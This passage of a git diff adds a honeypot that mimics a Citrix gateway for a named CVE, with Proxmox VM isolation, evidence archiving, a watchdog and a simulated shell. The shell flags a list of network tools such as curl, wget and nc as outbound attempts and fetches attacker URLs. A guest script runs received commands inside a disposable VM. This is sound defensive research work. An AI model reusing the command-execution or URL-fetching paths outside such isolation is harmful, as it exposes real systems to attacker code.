MUST replace this before payloads. + args="-netdev user,id=decoy,hostfwd=tcp:127.0.0.1:19223-:22,guestfwd=tcp:10.0.2.100:19090-cmd:/var/lib/vz/honeypot/forward-collector-telemetry -device virtio-net-pci,netdev=decoy,mac=$mac" + fi + mkdir -p "seed-$vmid" /var/lib/vz/template/iso + cat > "seed-$vmid/user-data" <> "seed-$vmid/user-data"; fi + printf 'instance-id: decoy-%s-20260928\nlocal-hostname: decoy-%s\n' "$vmid" "$role" > "seed-$vmid/meta-data" + cat > "seed-$vmid/network-config" </dev/null + qm set "$vmid" --scsi0 "local-lvm:vm-$vmid-disk-0" --ide2 "local:iso/decoy-seed-$vmid.iso,media=cdrom" --boot order=scsi0 + qm resize "$vmid" scsi0 12G + qm start "$vmid" +done diff --git a/deploy/reset-execution.py b/deploy/reset-execution.py new file mode 100644 index 0000000..6fba3f3 --- /dev/null +++ b/deploy/reset-execution.py @@ -0,0 +1,261 @@ +#!/usr/bin/env python3 +"""Hourly VM223 reset, preserving its full disk and pcap first. Never prunes evidence. + +--check is read-only. --run stops intake and VM223, archives disk/pcap, validates, +then rolls back decoy-clean. On any failure it leaves VM223/intake stopped and +sets the host STOP latch. RAM is not preserved; collector evidence is untouched. +""" +import argparse +import datetime +import fcntl +import hashlib +import json +import os +from pathlib import Path +import shutil +import stat +import subprocess +import time +import uuid + +ROOT = Path('/var/lib/vz/honeypot') +ARCHIVES = ROOT / 'archives' +DISK = Path('/dev/pve/vm-223-disk-0') +LIMIT = 16 * 1024**3 +RESERVE = 4 * 1024**3 + + +def command(*args, timeout=60): + return subprocess.run(args, check=True, capture_output=True, text=True, + timeout=timeout).stdout + + +def qm(*args, timeout=60): + return command('/usr/sbin/qm', *args, timeout=timeout) + + +def guest(script): + result = json.loads(qm('guest', 'exec', '222', '--timeout', '20', '--', + '/bin/sh', '-c', script, timeout=25)) + if not result.get('exited') or result.get('exitcode') != 0: + raise RuntimeError('collector guest operation failed') + return result.get('out-data', '') + + +def sync_dir(path): + fd = os.open(path, os.O_RDONLY | os.O_DIRECTORY) + try: + os.fsync(fd) + finally: + os.close(fd) + + +def write_file(path, data): + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600) + with os.fdopen(fd, 'wb') as stream: + stream.write(data) + stream.flush() + os.fsync(stream.fileno()) + sync_dir(path.parent) + + +def bounds(min_free=RESERVE): + used = sum(p.stat().st_size for p in ARCHIVES.rglob('*') if p.is_file()) if ARCHIVES.exists() else 0 + if used >= LIMIT: + raise RuntimeError('archive 16GiB budget reached; evidence retained') + if shutil.disk_usage(ROOT).free < min_free: + raise RuntimeError('host free-space reserve reached; evidence retained') + + +def valid_config(config): + values = dict(line.split(': ', 1) for line in config.splitlines() if ': ' in line) + if (values.get('name') != 'decoy-execution' or + not values.get('scsi0', '').startswith('local-lvm:vm-223-disk-0,') or + 'restrict=on' not in values.get('args', '') or + 'file=/var/lib/vz/honeypot/execution.pcap' not in values.get('args', '') or + any(k.startswith('net') and k[3:].isdigit() for k in values)): + raise RuntimeError('VM223 identity or isolation mismatch') + + +def validate(): + if os.geteuid() != 0: + raise RuntimeError('run on designated Proxmox host as root') + if ROOT.is_symlink() or not ROOT.is_dir() or (ARCHIVES.exists() and ARCHIVES.is_symlink()): + raise RuntimeError('invalid evidence directory') + if (ROOT / 'STOP').exists(): + raise RuntimeError('preexisting host STOP latch requires operator review') + if not stat.S_ISBLK(DISK.stat().st_mode): + raise RuntimeError('execution disk is not a block device') + current = qm('config', '223') + baseline = qm('config', '223', '--snapshot', 'decoy-clean') + valid_config(current) + valid_config(baseline) + guest('test -f /etc/decoy-collector && test ! -e /var/lib/decoy/STOP') + return current, baseline + + +def digest(path): + hashed = hashlib.sha256() + with path.open('rb') as stream: + while chunk := stream.read(1024**2): + bounds() + hashed.update(chunk) + os.fsync(stream.fileno()) + return hashed.hexdigest() + + +def install_admin_ca(): + public = ROOT / 'admin-ca.authorized' + if not public.exists(): + return + line = public.read_text().strip() + if not line.startswith('cert-authority,principals="decoy-admin",restrict,pty ssh-ed25519 ') or len(line) > 4096 or '\n' in line: + raise RuntimeError('invalid dedicated admin CA authorization') + script = ("import pathlib,os; p=pathlib.Path('/root/.ssh/authorized_keys'); " + "p.parent.mkdir(mode=0o700,exist_ok=True); " + "lines=p.read_text().splitlines() if p.exists() else []; " + "line=" + repr(line) + "; " + "p.write_text('\\n'.join(lines if line in lines else lines+[line])+'\\n'); " + "p.chmod(0o600)") + result = json.loads(qm('guest', 'exec', '223', '--timeout', '10', '--', '/usr/bin/python3', '-c', script)) + if not result.get('exited') or result.get('exitcode') != 0: + raise RuntimeError('admin certificate authorization restore failed') + + +def run(): + # Permanent lock inode; never unlink it while other cron instances may wait. + with open('/run/decoy-reset.lock', 'a') as lock: + try: + fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) + except BlockingIOError: + print('Reset already in progress') + return + validate() + changed = False + try: + command('systemctl', 'stop', 'decoy-ingress.service') + changed = True + command('systemctl', 'stop', 'decoy-watchdog.service') + guest('systemctl stop decoy.service decoy-network.service') + qm('stop', '223') + if 'status: stopped' not in qm('status', '223'): + raise RuntimeError('execution VM did not stop') + # Recheck after intake stops: never erase a concurrent capture-failure latch. + current, baseline = validate() + bounds(8 * 1024**3) + stamp = datetime.datetime.now(datetime.timezone.utc).strftime('%Y%m%dT%H%M%SZ') + ARCHIVES.mkdir(mode=0o700, exist_ok=True) + archive = ARCHIVES / (stamp + '-' + uuid.uuid4().hex) + archive.mkdir(mode=0o700) + sync_dir(ARCHIVES) + write_file(archive / 'vm223.conf', current.encode()) + write_file(archive / 'baseline.conf', baseline.encode()) + partial = archive / 'execution.qcow2.partial' + # Reserve file exclusively before qemu-img writes it; protected parent0700. + write_file(partial, b'') + with (archive / 'convert.log').open('xb') as output: + process = subprocess.Popen(['qemu-img', 'convert', '-c', '-f', 'raw', '-O', + 'qcow2', str(DISK), str(partial)], stdout=output, stderr=output) + deadline = time.monotonic() + 900 + try: + while process.poll() is None: + bounds() + if time.monotonic() > deadline: + raise RuntimeError('disk archive timeout') + time.sleep(0.5) + if process.returncode: + raise RuntimeError('disk archive conversion failed; inspect retained convert.log') + finally: + if process.poll() is None: + process.kill() + process.wait() + output.flush() + os.fsync(output.fileno()) + bounds() + check = command('qemu-img', 'check', '--output=json', str(partial), timeout=300) + command('qemu-img', 'compare', '-f', 'raw', '-F', 'qcow2', str(DISK), str(partial), timeout=300) + write_file(archive / 'disk-check.json', check.encode()) + disk_hash = digest(partial) + image = archive / 'execution.qcow2' + partial.rename(image) + sync_dir(archive) + pcap = ROOT / 'execution.pcap' + if pcap.is_symlink() or not pcap.is_file(): + raise RuntimeError('pcap is missing or not a regular file') + pcap_hash = digest(pcap) + pcap_size = pcap.stat().st_size + if sum(p.stat().st_size for p in ARCHIVES.rglob('*') if p.is_file()) + pcap_size >= LIMIT: + raise RuntimeError('pcap would exceed archive budget') + pcap.rename(archive / 'execution.pcap') + sync_dir(ROOT) + sync_dir(archive) + metadata = {'timestamp_utc': stamp, 'vmid': 223, 'baseline': 'decoy-clean', + 'disk_sha256': disk_hash, 'pcap_sha256': pcap_hash, + 'disk_bytes': image.stat().st_size, 'pcap_bytes': pcap_size, + 'memory_preserved': False, 'state': 'validated_before_rollback'} + write_file(archive / 'manifest.json', (json.dumps(metadata, indent=2) + '\n').encode()) + bounds() + # A preexisting STOP is never cleared. Any late latch aborts reset. + if (ROOT / 'STOP').exists(): + raise RuntimeError('host STOP appeared during archive') + guest('test ! -e /var/lib/decoy/STOP') + qm('rollback', '223', 'decoy-clean', timeout=300) + valid_config(qm('config', '223')) + write_file(ROOT / 'execution.pcap', b'') + guest('test ! -e /var/lib/decoy/STOP && systemctl start decoy-network.service decoy.service && ' + 'systemctl is-active --quiet decoy-network.service decoy.service') + qm('start', '223') + deadline = time.monotonic() + 90 + while True: + try: + ready = json.loads(qm('guest', 'exec', '223', '--timeout', '5', '--', + '/bin/sh', '-c', 'test -f /etc/decoy-disposable-guest && systemctl is-active --quiet decoy-relay decoy-guest-network', timeout=10)) + if ready.get('exited') and ready.get('exitcode') == 0: + break + except (subprocess.SubprocessError, ValueError): + pass + if time.monotonic() >= deadline: + raise RuntimeError('restored guest did not become ready') + time.sleep(2) + install_admin_ca() + command('systemctl', 'start', 'decoy-watchdog.service') + command('systemctl', 'start', 'decoy-ingress.service') + write_file(archive / 'reset-complete.json', + json.dumps({'completed_time_ns': time.time_ns()}).encode()) + print(f'Reset VM223; disk and packet evidence retained at {archive}') + except BaseException: + if changed: + # Best effort fail-closed; never resume intake or roll back on failure. + for args in [('systemctl', 'stop', 'decoy-ingress.service'), + ('/usr/sbin/qm', 'stop', '223')]: + try: + command(*args) + except Exception: + pass + try: + guest('systemctl stop decoy.service decoy-network.service') + except Exception: + pass + try: + write_file(ROOT / 'STOP', b'automatic reset failed; operator review required\n') + except FileExistsError: + pass + raise + finally: + if changed: + command('systemctl', 'start', 'decoy-watchdog.service') + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description=__doc__) + mode = parser.add_mutually_exclusive_group(required=True) + mode.add_argument('--run', action='store_true') + mode.add_argument('--check', action='store_true') + args = parser.parse_args() + os.umask(0o077) + if args.check: + validate() + bounds(8 * 1024**3) + print('Reset preflight passed; no changes made') + else: + run() diff --git a/deploy/restrict-pair.py b/deploy/restrict-pair.py new file mode 100755 index 0000000..430152a --- /dev/null +++ b/deploy/restrict-pair.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +"""Run once on Proxmox after trusted cloud-init completes, before deploying payload code.""" +import json +from pathlib import Path +import shlex +import subprocess + +ROOT = Path('/var/lib/vz/honeypot') +PCAP = ROOT / 'execution.pcap' +if PCAP.exists(): + raise SystemExit('Existing capture found: refusing a restart that would truncate evidence') + +def guest(vm, command): + result = json.loads(subprocess.check_output( + ['qm', 'guest', 'exec', str(vm), '--', '/bin/sh', '-c', command], text=True)) + if result.get('exitcode') != 0: + raise RuntimeError(result) + return result.get('out-data', '') + +for vm in (222, 223): + guest(vm, 'test -f /var/lib/decoy-bootstrap-complete && cloud-init status --long') +keys = {vm: guest(vm, 'cat /etc/ssh/ssh_host_ed25519_key.pub').strip() for vm in (222, 223)} +pub = guest(222, 'mkdir -p /root/.ssh; chmod 700 /root/.ssh; ' + 'test -f /root/.ssh/decoy_execution_ed25519 || ' + 'ssh-keygen -q -t ed25519 -N "" -f /root/.ssh/decoy_execution_ed25519; ' + 'cat /root/.ssh/decoy_execution_ed25519.pub').strip() +guest(223, 'printf "%s\\n" ' + shlex.quote( + 'no-agent-forwarding,no-port-forwarding,no-X11-forwarding ' + pub) + + ' >> /root/.ssh/authorized_keys; chmod 600 /root/.ssh/authorized_keys') +guest(222, 'printf "%s\\n" ' + shlex.quote('10.0.2.101 ' + keys[223]) + + ' > /root/.ssh/known_hosts; chmod 600 /root/.ssh/known_hosts; ' + 'cp /root/.ssh/known_hosts /root/.ssh/decoy_execution_known_hosts') +config = ('Host decoy-execution\n HostName 10.0.2.101\n User root\n' + ' IdentityFile /root/.ssh/decoy_execution_ed25519\n IdentitiesOnly yes\n' + ' StrictHostKeyChecking yes\n BatchMode yes\n ConnectTimeout 5\n') +guest(222, 'printf "%s" ' + shlex.quote(config) + + ' > /root/.ssh/config; chmod 600 /root/.ssh/config') +subprocess.run(['qm', 'shutdown', '223', '--timeout', '60'], check=True) +ROOT.chmod(0o700) +PCAP.touch(mode=0o600, exist_ok=False) +# -sandbox applies a QEMU seccomp filter: deny obsolete syscalls and privilege elevation. +args = ('-netdev user,id=decoy,restrict=on,hostfwd=tcp:127.0.0.1:19223-:22,' + 'guestfwd=tcp:10.0.2.100:19090-cmd:/var/lib/vz/honeypot/forward-collector-telemetry ' + '-device virtio-net-pci,netdev=decoy,mac=52:54:00:22:02:23 ' + '-object filter-dump,id=decoycap,netdev=decoy,' + 'file=/var/lib/vz/honeypot/execution.pcap,maxlen=512 ' + '-sandbox on,obsolete=deny,elevateprivileges=deny') +subprocess.run(['qm', 'set', '223', '--args', args], check=True) +subprocess.run(['qm', 'start', '223'], check=True) +for vm, key in keys.items(): + print(f'decoy-{vm} {key}') # Public host keys only. diff --git a/deploy/vm-config.json b/deploy/vm-config.json new file mode 100644 index 0000000..1dbfe79 --- /dev/null +++ b/deploy/vm-config.json @@ -0,0 +1 @@ +{"host":"10.0.2.101","port":22,"identity":"/root/.ssh/decoy_execution_ed25519","known_hosts":"/root/.ssh/decoy_execution_known_hosts","vmid":223,"allowed_peers":"/var/lib/decoy/allowed-peers.json","stop_file":"/var/lib/decoy/STOP"} diff --git a/deploy/watchdog.py b/deploy/watchdog.py new file mode 100644 index 0000000..2db0912 --- /dev/null +++ b/deploy/watchdog.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +"""Proxmox-side fail-closed monitor; only the disposable VM223 is stopped.""" +import json +import pathlib +import shutil +import subprocess +import time + +DIRECTORY = pathlib.Path('/var/lib/vz/honeypot') + + +def qm(*args): + return subprocess.run(['/usr/sbin/qm', *args], capture_output=True, text=True, timeout=25, check=True).stdout + + +def stop(reason): + with (DIRECTORY / 'watchdog-events.jsonl').open('a') as output: + output.write(json.dumps(dict(time_ns=time.time_ns(), event='execution_vm_stopped', reason=reason)) + '\n') + output.flush() + qm('stop', '223') + # This latch prevents unattended auto-restart. Operator must verify evidence before clearing. + (DIRECTORY / 'STOP').touch(mode=0o600) + + +def main(): + last_health = 0 + while True: + try: + if 'status: running' not in qm('status', '223'): + time.sleep(2) + continue + reason = None + pcap = DIRECTORY / 'execution.pcap' + if (DIRECTORY / 'STOP').exists(): + reason = 'host stop latch' + elif pcap.exists() and pcap.stat().st_size >= 512 * 1024 * 1024: + reason = 'pcap quota' + elif shutil.disk_usage(DIRECTORY).free < 4 * 1024**3: + reason = 'host free space reserve' + elif time.monotonic() - last_health >= 10: + last_health = time.monotonic() + usage = subprocess.run(['/usr/sbin/lvs', '--noheadings', '-o', 'data_percent', 'pve/data'], capture_output=True, text=True, check=True, timeout=5) + if float(usage.stdout.strip()) >= 85: + stop('Proxmox thin pool reserve') + continue + try: + result = json.loads(qm('guest', 'exec', '222', '--timeout', '10', '--', + '/bin/sh', '-c', + 'test ! -e /var/lib/decoy/STOP && ' + 'systemctl is-active --quiet decoy.service decoy-network.service')) + if result.get('exitcode') != 0 or not result.get('exited'): + reason = 'collector services stopped or capture failed' + except (OSError, ValueError, subprocess.SubprocessError): + reason = 'collector health unavailable' + if reason: + stop(reason) + except (OSError, subprocess.SubprocessError) as error: + print(type(error).__name__, flush=True) + time.sleep(1) + + +if __name__ == '__main__': + main() diff --git a/env_file.py b/env_file.py new file mode 100644 index 0000000..2a2d8bf --- /dev/null +++ b/env_file.py @@ -0,0 +1,23 @@ +"""Minimal .env loader so local runs match the systemd EnvironmentFile. Never overwrites +variables already set in the environment.""" +import os +import pathlib + + +def load(path='.env'): + file = pathlib.Path(path) + if not file.is_file(): + return + for line in file.read_text().splitlines(): + line = line.strip() + if not line or line.startswith('#') or '=' not in line: + continue + key, _, value = line.partition('=') + os.environ.setdefault(key.strip(), value.strip().strip('\'"')) + + +def env_int(name, default): + try: + return int(os.environ.get(name, default)) + except (TypeError, ValueError): + return default diff --git a/evidence.py b/evidence.py new file mode 100644 index 0000000..2f4a0e9 --- /dev/null +++ b/evidence.py @@ -0,0 +1,92 @@ +"""Local append-only event journal and inert, content-addressed evidence.""" +import datetime +import hashlib +import json +import os +import pathlib +import threading +import time + + +class EvidenceError(OSError): + pass + + +class Evidence: + def __init__(self, directory, quota=1024 ** 3): + self.directory = pathlib.Path(directory) + self.directory.mkdir(parents=True, exist_ok=True, mode=0o700) + self.artifacts = self.directory / 'artifacts' + self.artifacts.mkdir(exist_ok=True, mode=0o700) + os.chmod(self.directory, 0o700) + os.chmod(self.artifacts, 0o700) + self.lock = threading.RLock() + self.quota = quota + self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file()) + self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600) + os.fchmod(self.journal, 0o600) + + def reserve(self, size): + if self.used + size > self.quota: + raise OSError('Evidence quota reached; preserve/archive evidence before restarting') + + def emit(self, event, **data): + now = time.time_ns() + entry = dict(schema_version=2, event=event, time_ns=now, + timestamp=datetime.datetime.fromtimestamp(now / 1e9, datetime.timezone.utc).isoformat(timespec='microseconds'), + **data) + raw = (json.dumps(entry, ensure_ascii=True) + '\n').encode() + with self.lock: + self.reserve(len(raw)) + with os.fdopen(os.dup(self.journal), 'ab') as output: + output.write(raw) + output.flush() + os.fsync(output.fileno()) + self.used += len(raw) + + def save(self, data): + digest = hashlib.sha256(data).hexdigest() + path = self.artifacts / (digest + '.bin') + with self.lock: + if not path.exists(): + self.reserve(len(data)) + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600) + try: + with os.fdopen(fd, 'wb') as output: + output.write(data) + output.flush() + os.fsync(output.fileno()) + except BaseException: + path.unlink(missing_ok=True) # do not leave a partial blob with a full-content hash + raise + self.used += len(data) + return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name) + + def close(self): + os.close(self.journal) + + +class RecordingReader: + """Retain only bytes consumed by the HTTP parser, after TLS decryption.""" + def __init__(self, source, limit): + self.source, self.limit = source, limit + self.data = bytearray() + self.truncated = False + + def record(self, data): + room = max(0, self.limit - len(self.data)) + self.data.extend(data[:room]) + self.truncated |= len(data) > room + return data + + def read(self, *args): + return self.record(self.source.read(*args)) + + def read1(self, *args): + return self.record(self.source.read1(*args)) + + def readline(self, *args): + return self.record(self.source.readline(*args)) + + def close(self): + self.source.close() diff --git a/guest.py b/guest.py new file mode 100644 index 0000000..77c54cd --- /dev/null +++ b/guest.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Disposable Linux guest only. Never run on a workstation or collector.""" +import base64 +import hashlib +import json +import os +import pathlib +import signal +import stat +import subprocess +import sys +import threading +import time + +LOCK = threading.Lock() +LIMIT = 16 * 1024 * 1024 +ACTIVE = None +ROOTS = ['/var/tmp', '/tmp', '/root', '/netscaler', '/nsconfig', '/usr/local/bin', '/etc'] + + +def emit(event, content=None, **data): + if content is not None: + data['base64'] = base64.b64encode(content).decode() + with LOCK: + try: + print(json.dumps(dict(event=event, guest_time_ns=time.time_ns(), **data)), flush=True) + except (BrokenPipeError, OSError): + terminate() + os._exit(1) + + +def scan(): + result = {} + for root in ROOTS: + for folder, dirs, files in os.walk(root, followlinks=False): + dirs[:] = dirs[:128] + for name in files: + path = os.path.join(folder, name) + try: + s = os.lstat(path) + if stat.S_ISREG(s.st_mode): + result[path] = (s.st_ino, s.st_mtime_ns, s.st_ctime_ns, s.st_size, s.st_mode) + except OSError: + pass + if len(result) >= 20000: + return result + return result + + +def watch(stop, previous): + # ponytail: polling preserves observed versions; syscall trace records fast deletes/other paths. + while not stop.wait(.25): + current = scan() + for path in previous.keys() - current.keys(): + emit('guest_file_deleted', path=path) + for path, info in current.items(): + if previous.get(path) == info: + continue + try: + fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK) + with os.fdopen(fd, 'rb') as f: + if not stat.S_ISREG(os.fstat(f.fileno()).st_mode): + continue + data = f.read(LIMIT + 1) + emit('guest_file_version', content=data[:LIMIT], path=path, size=info[3], + mode=oct(info[4]), truncated=len(data) > LIMIT) + except OSError as e: + emit('guest_file_capture_error', path=path, error=str(e)) + previous = current + + +def terminate(*_): + if ACTIVE is not None: + try: + os.killpg(ACTIVE.pid, signal.SIGKILL) + except ProcessLookupError: + pass + + +def open_beneath(path, flags, mode=0o600): + # Resolve every directory with NOFOLLOW, including mutable /var/tmp/uploads. + parts = pathlib.PurePosixPath(path).parts + if parts[0] != '/' or '..' in parts: + raise ValueError('invalid path') + directory = os.open('/', os.O_RDONLY | os.O_DIRECTORY) + try: + for part in parts[1:-1]: + new = os.open(part, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=directory) + os.close(directory) + directory = new + return os.open(parts[-1], flags | os.O_NOFOLLOW | os.O_NONBLOCK, mode, dir_fd=directory) + finally: + os.close(directory) + + +def main(): + global ACTIVE + marker = pathlib.Path('/etc/decoy-disposable-guest') + if not marker.is_file() or marker.is_symlink(): + raise SystemExit('Refusing execution outside disposable guest') + maximum = 4 * ((LIMIT + 2) // 3) + 131072 + line = sys.stdin.buffer.readline(maximum + 1) + if len(line) > maximum or not line.endswith(b'\n'): + raise SystemExit('request limit') + data = json.loads(line) + if data['action'] == 'read': + path = pathlib.PurePosixPath(data['path']) + if not str(path).startswith('/netscaler/ns_gui/') or '..' in path.parts: + raise SystemExit('invalid webroot path') + fd = open_beneath(str(path), os.O_RDONLY) + with os.fdopen(fd, 'rb') as f: + if not stat.S_ISREG(os.fstat(f.fileno()).st_mode): + raise SystemExit('not regular file') + raw = f.read(LIMIT + 1) + emit('guest_http_file', content=raw[:LIMIT], path=str(path), truncated=len(raw) > LIMIT) + return + if data['action'] == 'upload': + raw = base64.b64decode(data['base64'], validate=True) + if len(raw) > LIMIT: + raise SystemExit('upload limit') + name = '/var/tmp/uploads/' + hashlib.sha256(raw).hexdigest() + '.bin' + os.makedirs('/var/tmp/uploads', mode=0o700, exist_ok=True) + # Never truncate attacker-selected symlinks, hardlinks, devices or existing files. + try: + fd = open_beneath(name, os.O_WRONLY | os.O_CREAT | os.O_EXCL) + except FileExistsError: + emit('guest_upload', path=name, bytes=len(raw), error='path exists; offguest original retained') + return + with os.fdopen(fd, 'wb') as f: + f.write(raw) + emit('guest_upload', path=name, bytes=len(raw)) + return + if data['action'] != 'execute': + raise SystemExit('unknown action') + command = data['command'] + if not isinstance(command, str) or len(command) > 65536: + raise SystemExit('command limit') + for sig in (signal.SIGHUP, signal.SIGTERM, signal.SIGINT): + signal.signal(sig, lambda *_: (terminate(), sys.exit(1))) + stop = threading.Event() + watcher = threading.Thread(target=watch, args=(stop, scan()), daemon=True) + watcher.start() + proc = subprocess.Popen(['strace', '-f', '-ttt', '-T', '-s', '4096', '-yy', + '/bin/bash', '-c', command], cwd='/var/tmp', + stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + start_new_session=True) + ACTIVE = proc + emit('guest_process_start', pid=proc.pid, command=command) + def drain(stream, event): + while chunk := stream.read1(32768): + emit(event, content=chunk) + readers = [threading.Thread(target=drain, args=(proc.stdout, 'guest_stdout'), daemon=True), + threading.Thread(target=drain, args=(proc.stderr, 'guest_syscalls_stderr'), daemon=True)] + for reader in readers: + reader.start() + try: + proc.wait(timeout=600) + except subprocess.TimeoutExpired: + emit('guest_execution_limit', seconds=600) + finally: + try: + os.killpg(proc.pid, signal.SIGKILL) + except ProcessLookupError: + pass + proc.wait() + for reader in readers: + reader.join(3) + time.sleep(.5) + stop.set() + watcher.join(2) + emit('guest_process_end', returncode=proc.poll()) + + +if __name__ == '__main__': + main() diff --git a/honeypot.py b/honeypot.py new file mode 100644 index 0000000..1869147 --- /dev/null +++ b/honeypot.py @@ -0,0 +1,728 @@ +#!/usr/bin/env python3 +"""Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution.""" +import argparse +import collections +import email.parser +import email.policy +import hashlib +import html +import http.server +import ipaddress +import os +import pathlib +import posixpath +import re +import secrets +import shlex +import ssl +import sys +import threading +import time +import urllib.parse +from trusted_proxy import source as proxy_source, forwarded_client +from evidence import Evidence, EvidenceError, RecordingReader +from env_file import load, env_int + +MAX_BODY = 16 * 1024 * 1024 +MAX_FILES = 64 +MAX_FILE = 8192 +MAX_SESSIONS = 128 +MAX_PENDING = 16 +TTL = 3600 +WEBROOT = '/netscaler/ns_gui' +UI = pathlib.Path(__file__).parent / 'ui' +LOGIN = (UI / 'login.html').read_bytes() +# The login page is served at every entry point a Citrix Gateway exposes. +LOGIN_PATHS = {'/', '/vpn/', '/vpn/index.html', '/vpn/tmindex.html', + '/logon/LogonPoint/tmindex.html', '/logon/LogonPoint/index.html', + '/logon/LogonPoint/custom.html', '/menu/neo/'} +JS = 'application/javascript; charset=utf-8' +STATIC = { + '/logon/LogonPoint/login.js': ((UI / 'login.js').read_bytes(), JS), + '/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg': ((UI / 'background.jpg').read_bytes(), 'image/jpeg'), + '/vpn/media/citrixgateway_logo_white.png': ((UI / 'logo.png').read_bytes(), 'image/png'), + '/logon/LogonPoint/receiver/images/common/icon_vpn.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'), + '/vpn/images/AccessGateway.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'), + '/favicon.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'), + # Static NetScaler Gateway scripts scanners look for; symbols match the real rdx/CTXS namespace. + '/vpn/js/rdx.js': (b"window.CTXS=window.CTXS||{};window.rdx=window.rdx||{};" + b"rdx.base_view=function(){};rdx.utils={get_view:function(){}};\n", JS), + '/vpn/js/rdx/core/rdx.js': (b"window.rdx=window.rdx||{};rdx.base_view=rdx.base_view||function(){};" + b"rdx.utils={get_view:function(){}};\n", JS), + '/vpn/js/gateway_login_view.js': (b"rdx.gateway_login_view=function(){return new rdx.base_view();};\n", JS), + '/vpn/js/gateway_login_form_view.js': (b"rdx.gateway_login_form_view=function(){return rdx.utils.get_view();};\n", JS), + '/logon/LogonPoint/init.js': (b"var _ctxstxt_CitrixCopyright='Copyright (c) Citrix Systems, Inc.';" + b"window.CTXS=window.CTXS||{};CTXS.init=function(){};\n", JS), + '/logon/LogonPoint/receiver/js/ctxs.core.min.js': (b"window.CTXS=window.CTXS||{};CTXS.core={version:'1.0'};\n", JS), +} + + +class Session: + def __init__(self): + self.sid = secrets.token_hex(16) + self.seen = time.monotonic() + self.cwd = '/var/tmp' + self.files = {'/etc/passwd': 'root:*:0:0:Charlie &:/root:/bin/sh\n', + '/nsconfig/ns.conf': '# synthetic honeypot configuration\n'} + self.pending = collections.deque(maxlen=MAX_PENDING) + self.auth_started = time.monotonic() + self.auth_count = 0 + + def path(self, name): + # All paths stay dictionary keys, including traversal and absolute paths. + return posixpath.normpath(posixpath.join(self.cwd, name)) + + +def commands(text): + """Small shell-like grammar; unsupported constructs are recorded, never executed.""" + lexer = shlex.shlex(text, posix=True, punctuation_chars=';&|<>') + lexer.whitespace_split = True + lexer.commenters = '#' + group = [] + for token in lexer: + if token in (';', '&&', '||', '|', '&'): + if group: + yield group + group = [] + else: + group.append(token) + if group: + yield group + + +def simulate(session, text, emit, download=None): + # ponytail: bounded subset, not a POSIX shell; add grammar only from captured evidence. + try: + groups = list(commands(text)) + if len(groups) > 32: + emit('limit', resource='simulated_commands', total=len(groups), retained=32) + groups = groups[:32] + except ValueError: + emit('unsupported', reason='shell_parse', command=text) + return + for tokens in groups: + original = tokens[:] + dest, append = None, False + for operator in ('>>', '>'): + if operator in tokens: + index = tokens.index(operator) + if index + 1 < len(tokens): + dest, append = session.path(tokens[index + 1]), operator == '>>' + tokens = tokens[:index] + break + if not tokens: + continue + name, *args = tokens + name = posixpath.basename(name) + output = '' + supported = True + if name == 'id': + output = 'uid=0(root) gid=0(wheel) groups=0(wheel)\n' + elif name == 'whoami': + output = 'root\n' + elif name == 'uname': + output = 'FreeBSD ns 11.4-RELEASE-p17 FreeBSD 11.4-RELEASE-p17 amd64\n' + elif name == 'pwd': + output = session.cwd + '\n' + elif name == 'cd' and args: + session.cwd = session.path(args[0]) + emit('virtual_directory_change', path=session.cwd) + elif name == 'cat': + for arg in args: + path = session.path(arg) + emit('virtual_file_read', path=path, exists=path in session.files, + content=session.files.get(path, '').encode()) + output = ''.join(session.files.get(session.path(arg), 'cat: No such file or directory\n') for arg in args) + elif name == 'ls': + output = '\n'.join(sorted(session.files)) + '\n' + elif name == 'echo': + output = ' '.join(args) + '\n' + elif name == 'printf' and args: + if args[0] in ('%s', '%s\\n'): + output = ('\n' if args[0].endswith('\\n') else '').join(args[1:]) + if args[0].endswith('\\n'): + output += '\n' + elif len(args) == 1 and '%' not in args[0]: + output = args[0].replace('\\n', '\n') + else: + supported = False + elif name == 'touch' and len(args) == 1: + dest = session.path(args[0]) + output = session.files.get(dest, '') + elif name == 'rm': + for arg in args: + if not arg.startswith('-'): + path = session.path(arg) + emit('virtual_file_delete', path=path, exists=path in session.files, + content=session.files.get(path, '').encode()) + session.files.pop(path, None) + elif name in ('curl', 'wget', 'nc', 'ncat', 'telnet', 'ssh', 'ftp', 'fetch'): + emit('outbound_attempt', argv=original, disposition='recorded_only') + if download and name in ('curl', 'wget', 'fetch'): + download(' '.join(original)) # GET and store the URL's bytes; never executed + supported = False + elif name in (':', 'true', 'mkdir'): + pass + else: + supported = False + emit('simulated_command' if supported else 'unsupported', argv=original, + cwd=session.cwd, output=output[:MAX_FILE], output_truncated=len(output) > MAX_FILE) + if dest and supported: + if dest in session.files or len(session.files) < MAX_FILES: + content = (session.files.get(dest, '') if append else '') + output + session.files[dest] = content[:MAX_FILE] + emit('virtual_file_write', path=dest, bytes=len(session.files[dest]), + content=session.files[dest].encode(), + truncated=len(content) > MAX_FILE) + else: + emit('limit', resource='virtual_files') + + +def extract(value): + """Approximate the documented log-to-core-name transform, without running it.""" + if not re.search(r'pitboss.*PPE.*(?:missed too many heartbeats|unexpectedly died)', value, re.I): + return None + if 'NSPPE' not in value: + return None + tail = 'NSPPE' + value.rsplit('NSPPE', 1)[1] + # The published backtick wrapper carries the full command, spaces included, anywhere in the line. + substitutions = re.findall(r'`([^`]+)`', tail) + if 